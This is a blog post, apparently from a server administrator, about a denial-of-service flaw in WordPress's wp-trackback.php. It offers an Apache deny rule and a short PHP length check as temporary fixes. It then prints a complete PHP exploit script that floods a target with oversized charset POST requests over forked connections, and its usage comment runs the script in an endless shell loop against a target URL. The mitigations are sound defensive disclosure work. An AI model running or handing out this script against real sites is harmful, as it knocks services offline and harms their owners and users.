Here’s the results from a quick test against my server:

13:30:29 up 36 days, 1:06, 12 users, load average: 45.06, 17.11, 6.24

Very dirty.

Here’s a temporary fix that can be implemented until we get a real patch.

Add the following lines to your Apache 2 config file:
<Files ~ "wp-trackback.php">
Order allow,deny
Deny from all
</Files>
This should be placed in the main config, not a virtual hosts config. This will disable any URLs with “wp-trackback.php” in it. This is a quick and ugly fix, but will help against this attack.

I expect WordPress will have an update soon.

UPDATE: With the help of a friend we have created a quick fix:

In line #47 of wp-trackback.php, add this:

if(strlen($charset) > 50)
die;

Here’s the actual exploit.

<?php
/*
* wordpress Resource exhaustion Exploit
* http://rooibo.wordpress.com/
* security@wordpress.org contacted and get a response,
* but no solution available.
*
* [18/10/2009 20:31:00] modified by Zerial http://blog.zerial.org <panic@zerial.org>
*
* exploiting:
* you must install php-cli (command line interface)
* $ while /bin/true; do php wp-trackbacks_dos.php http://target.com/wordpress; done
*
*/
if(count($argv) < 2)
die("You need to specify a url to attack\n");
$url = $argv[1];
$data = parse_url($url);
if(count($data) < 2)
die("The url should have http:// in front of it, and should be complete.\n");
$path = (count($data)==2)?"":$data['path'];
$path = trim($path,'/').'/wp-trackback.php';
if($path{0} != '/')
$path = '/'.$path;
$b = ""; $b = str_pad($b,140000,'ABCEDFG').utf8_encode($b);
$charset = "";
$charset = str_pad($charset,140000,"UTF-8,");
$str = 'charset='.urlencode($charset);
$str .= '&url=www.example.com';
$str .= '&title='.$b;
$str .= '&blog_name=lol';
$str .= '&excerpt=lol';
for($n = 0; $n <= 5; $n++){
$fp = @fsockopen($data['host'],80);
if(!$fp)
die("unable to connect to: ".$data['host']."\n");
$pid[$n] = pcntl_fork();
if(!$pid[$n]){
fputs($fp, "POST $path HTTP/1.1\r\n");
fputs($fp, "Host: ".$data['host']."\r\n");
fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n");
fputs($fp, "Content-length: ".strlen($str)."\r\n");
fputs($fp, "Connection: close\r\n\r\n");
fputs($fp, $str."\r\n\r\n");
echo "hit!\n";
}
}
?>